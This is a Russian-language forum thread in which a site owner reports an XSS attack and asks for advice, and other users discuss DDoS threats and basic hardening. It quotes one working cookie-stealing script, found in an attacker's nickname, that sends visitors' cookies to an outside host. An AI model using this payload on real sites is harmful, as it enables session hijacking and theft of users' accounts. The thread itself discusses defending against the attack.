XSS-атака на сайт, кому знакомо ?

в нике юзера вижу такое

<script>img = new Image();img.src="http://antiha.h19.ru/s.gif?"+document.cookie;</script>

это попытка взлома или что?

lezginka.ru, конечно попытка взлома!!! А возможно спама и заражения сайта или пользователей!

вот что мне написал этот чел:

Ой xxs атака, что на форуме разнылся, я и 2 сайт хлопну, могу их под ддос положить на вечно, сиди тихо я тут властелин,

видать это чел и тут на форуме тусуется.
уважаемый "властелин" ты свое личико тут покажи, если такой смелый, пусть народ знает своих "героев"

Очень надеюсь, всё же, что 1.9.1, и тем более 2.0 будут без этого.

Проверил Acunetix Web Vulnerability Scanner 8, волосы дыбом встали

вот интересно посмотреть что там выдал этот сканер?

кстати. этот чел мне обещал ддос на завтра.
у кого какие есть предложения по защите ?
он сам стесняется тут писать, хотя эти строки и читает(сейчас хакеры стеснительные пошли)

вот интересно посмотреть что там выдал этот сканер?

На рутрекере есть, если не найдете, могу в личку скинуть.
Да что там интересного то… много пожеланий по поводу закрытия от sql иньекций, и не только.

кстати. этот чел мне обещал ддос на завтра.

Мне кажется, не стоит по этому поводу напрягаться, мало, кто может сделать это профессионально.А обычный Hoic4 ////это смешно)

у кого какие есть предложения по защите ?

iptables для этого нужно использовать, не думаю что ваш сайт понадобился какой то серьезной комманде а один человек маловероятно что сможет серьезную атаку организовать

А еси через Тор работает, тогда Iptables поможет?

Было так /admin/.htaccess с паролем
и соответственно .htpasswd
Вот так...
Пока не удалил, в админку не попал…

Решение — пользователя блокировать — сделать приглашение по инвайтам — в случае входа пользователя по приглашению с плохими намерениями — сразу удалять его.

Хостинг — сделать — фильтрацию по IP адресам, так же и админку на самом сайте. И все файлы важные — права 644.

Ну мне по крайней мере пока помогает — проблем со спамерами и взломщиками пока нет. Раньше были такие попытки, в том числе и взлома.

Хотя конечно ломануть могут что угодно — но только профи и командой — по крайней мере начинающие хакеры мозг тра… ть не будут.

Hunter (Роман), без обид, но… не решение.

Всё, замяли.Акима более не тронут.

Hunter (Роман), без обид, но… не решение.

Да это понятно — я и не обижаюсь — вообще не спец по защите если что.

А я вообще не понимаю смысл этих взломов — для чего это нужно — да еще так в открытую — ну ладно бы какой-то код встроить по тихой чтоб незаметно было — а так смысл какой.

Всегда ж есть Бэкап — можно все на день, два откатить — через хостинг....

Я понимаю банки ломают, ну или крутые сайты конкурентов пытаются устранить. А так смысл. в чем…

по разному бывает...
Хотя, я признаюсь честно, ни какого решения я не увидел, за исключением одного, о котором писать не буду)